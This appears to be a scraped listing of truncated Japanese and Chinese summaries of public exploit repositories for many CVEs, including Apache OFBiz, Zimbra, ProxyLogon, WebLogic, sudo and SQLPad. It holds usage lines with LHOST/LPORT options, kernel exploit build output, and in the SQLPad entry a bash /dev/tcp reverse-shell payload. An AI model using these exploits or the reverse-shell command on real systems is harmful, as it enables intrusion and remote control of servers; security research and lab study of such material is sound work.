cve-2023-51467

CVE-2023-51467 用 Go-Exploit このリポジトリには、Apache OFBiz CVE-2023-51467 用の go-exploit が含まれています。実装には、ターゲット検証、バージョンスキャナー、ペイロードとしてのインメモリ Nashorn リバースシェルが含まれています（使用する Java が Nashorn をサポートしている必要があります）。武装化プロセスは VulnCheck ブログ で説明されています。 コンパイル makefile を使用して Docker コンテナをビルドできます： root@kitploit: make docker または、...

CVE-2024-46377

CVE-2024-46377 Best House Rental Management System 1.0 の任意ファイルアップロード脆弱性のPoC 概要 このPythonスクリプトは、Best House Rental Management System 1.0 の任意ファイルアップロード脆弱性を悪用する方法を示しています。この脆弱性により、攻撃者は悪意のあるファイル（PHPウェブシェルなど）をアップロードし、ターゲットサーバー上で任意のコマンドを実行できます。 使用方法 1. リポジトリをクローンしてディレクトリに移動します: root@kitploit: git clone...

LetsDefend-SOC342-CVE-2025-53770-SharePoint-ToolShell-Auth-Bypass-andRCE-EventID-320

🧠 LetsDefend SharePoint Zero-Day Analysis ToolShell - SOC342-CVE-2025-53770 📘 はじめに LetsDefend のサイバーラボで、ToolShell CVE-2025-53770 と呼ばれるSharePointのゼロデイを調査しました。 この演習は、悪意のあるPOSTリクエストが認証を迂回し、PowerShellを実行して MachineKeySection キーを盗み出し、payload.exe をコンパイルし、悪意のあるWebシェル spinstall0.aspx を配置する、現実のゼロデイRCE攻撃...

vsftpd-234-vuln-report

💥 vsftpd 2.3.4 バックドア悪用レポート Metasploit を使用した vsftpd 2.3.4 の既知の脆弱性の悪用。 📌 ターゲット情報 ターゲット IP: 192.168.150.133 サービス: FTP 脆弱性のあるバージョン: vsftpd 2.3.4 エクスプロイトモジュール: exploit/unix/ftp/vsftpd234backdoor ペイロード: コマンドシェル TCP 🔍 脆弱性の概要 vsftpd 2.3.4 には、特別に細工されたユーザー名（末尾が :）を受信するとポート 6200 でコマンドシェルを開く悪意のあるバックドアが含まれていま...

CVE-2020-8165--Auto-Shell

CVE-2020-8165--Auto-Script...

CVE-2023-30547

CVE-2023-30547 これは CVE-2023-30547 https://nvd.nist.gov/vuln/detail/CVE-2023-30547 の Proof-of-Concept です。この PoC は CTF 中に作成しました。 使い方 root@kitploit: CVE-2023-30547 PoC -h --url URL --lhost LHOST --lport LPORT PoC for the vm2 vulnerability CVE-2023-30547 options: -h, --help show this help message and...

bash-3.2-fixed-CVE-2014-6271

引言 这是 GNU Bash，3.2 版。Bash 是 GNU 项目的 Bourne Again SHell，是 POSIX.2 shell 规范的完整实现，同时还具备交互式命令行编辑、在支持的架构上进行作业控制、类似 csh 的功能（如历史替换和大括号展开）以及许多其他特性。有关 Bash 在此类 shell 中新增功能的更多信息，请参阅文件 doc/bashref.texi'。此外还有一份庞大的 Unix 风格手册页。该手册页是 shell 功能的权威描述。 请参阅 POSIX 文件，了解 Bash 默认设置与 POSIX.2 规范的差异以及 Bash posix mode' 的说明...

Node.js-CVE-2017-5941

NodeJS 安全でないデシリアライゼーションの脆弱性デモ Node.js は、JavaScript でサーバー機能を実装するために使用されるオープンソースのランタイム環境です。 Node.js 内の特定のソフトウェアパッケージには、デシリアライゼーションを扱う脆弱な関数が含まれており、クライアントが特別に細工された Cookie を提供すると、不正なコマンドを実行してしまいます。 この脆弱性は再現されており、リバースシェルを起動できる可能性があります。これは、クライアントのリクエスト内の Cookie から読み取られるサニタイズされていない入力データが原因で発生します。クライアントは...

CVE-2023-20052

CVE-2023-20052 Exploit Functional, self-developed Proof-of-Concept PoC exploit for CVE-2023-20052 , a vulnerability in ClamAV versions = 1.0.0, = 0.105.1, and = 0.103.7 enabling arbitrary file read via XML Entity Expansion XXE during DMG file parsing. This repository provides an original,...

CVE-2022-23222

CVE-2022-23222 中国語の解説: https://tr3e.ee/posts/cve-2022-23222-linux-kernel-ebpf-lpe.txt 教育・研究目的のみで使用してください。使用は自己責任です。 ビルドと実行 root@kitploit: $ make cc -I include -static -w -o exploit exploit.c $ ./exploit phase1/8 'create bpf maps' running + phase1/8 'create bpf maps' done phase2/8 'do some leak'...

CVE-2022-27925-Revshell

Zimbra 未認証リモートコード実行エクスプロイト CVE-2022-27925 root@kitploit: / / / / / / / / / / / / / // / / / / / / // / / / // / //// // //.// ,/ CVE-2022-27925 usage: exp.py -h -t TARGET -m MASS -l LHOST -p LPORT options: -h, --help show this help message and exit -t TARGET, --target TARGET URl with protocol...

moveit-payload-decrypt-CVE-2023-34362

moveit-payload-decrypt-CVE-2023-34362 このシェルスクリプトは、OrgKey 0 が与えられると、MOVEit ログ内で見つかった base64 アーティファクトのヘッダーを解析し、ペイロードとして使用されるシリアライズされたオブジェクトを復号します。...

CVE-2022-0944

CVE-2022-0944 PoC SQLPad における RCE の PoC です。 この例ではリバースシェルを起動しますが、ペイロード内の 'exec' 呼び出しのコマンドを変更することで、利用可能な任意のコマンドを実行するようにペイロードを変更できます。 payload = f" process.mainModule.require'childprocess'.exec'/bin/bash -c "bash -i & /dev/tcp/reversehost/reverseport 0&1"' " 必要条件 Python 3 使用方法 1. リスナーを起動する...

cve-2021-31630

cve-2021-31630 OpenPLC WebServer v3 - 認証済みRCE このPoCスクリプトは、Fellipe Oliveira が提供するエクスプロイトに基づいています。 特徴 : st ファイルアップロードの代わりに、Cコードを /hardware に直接アップロード リバースシェルをアップロードする前にデフォルトプログラムを復元 非ブロッキング な改良版Cベースのリバースシェルにより、Webサーバーがハングしません ; バックグラウンドでシェルを起動し、PLC停止後も exit するまで動作します クリーンアップ root@kitploit: $ python...

poc_proxylogon

pocproxylogon Microsoft Exchange ProxyLogon PoC（CVE-2021-26855） このスクリプトは元々celesianによってこのCVEを悪用するために作成されました。 その後、SSRFに対して脆弱なExchangeサーバーを悪用するように更新しましたが、EWS機能を利用してシェルを取得します。なぜなら、クライアント企業が/ecp/DDI/DDIService.svc/機能を無効化してExchangeサーバーにパッチを当てたからです（笑）。...

CVE-2017-10271

CVE-2017-10271 CVE-2017-10271 コマンド実行と結果表示 シェルを直接アップロード Linux上のWebLogic 10.3.6.0でテストOK 使用方法とパラメータ python weblogicwlswsatexp.py -t IP:7001 root@kitploit: usage: weblogicwlswsatexp.py -h -t TARGET -c CMD -o OUTPUT -s SHELL optional arguments: -h, --help show this help message and exit -t TARGET,...

CVE-2021-3156

CVE-2021-3156 xchg@ubuntu:/Desktop/CVE-2021-3156$ ./sudo-hax-me-a-sandwich CVE-2021-3156 PoC by blasty [email protected] usage: ./sudo-hax-me-a-sandwich available targets: root@kitploit: 0 Ubuntu 20.04.1 Focal Fossa - sudo 1.8.31, libc-2.31 1 Debian 10.0 Buster - sudo 1.8.27, libc-2.28...

CVE-2024-23346-rust-exploit

CVE-2024-23346 用の Rust 製エクスプロイトスクリプト。 以下に示すように、POC はコードインジェクションの脆弱性を利用し、ターミナルのようにリモートシェルコマンドを実行します。 poc.webm エクスプロイトの実行手順: Cargo で直接実行 cargo run -- --help cargo run -- --target http://10.10.11.38 --username "Admin" --password "Admin@123" --lhost 10.10.14.19 または バイナリをコンパイル: cargo build -r バイナリは...

CVE-2023-32413

macOS LPE CVE-2023-32413 / ZDI-23-845 / Pwn2Own Vancouver 2023 エクスプロイト これは、Pwn2Own Vancouver 2023 https://youtu.be/c0cS4R0ja-I?t=180 で実演されたエクスプロイトコードです。 このコードは CVE-2023-32413...

CVE-2023-42791_CVE-2024-23666

Fortimanagerの不十分な認可チェック CVE-2024-23666 および無制限ファイルアップロード CVE-2023-42791 の悪用スクリプト これらの脆弱性を利用した2つの悪用スクリプトを提供します: rce.py: FortiManagerへの非特権アクセスからリバースシェルを取得するか、任意の管理者を追加します。 ManagerGate.py: リモートで管理されているFortiGate SSHサービスへの接続を可能にします。SSHパスワードは依然として必要ですが、FortiManagerの設定バックアップに含まれています。...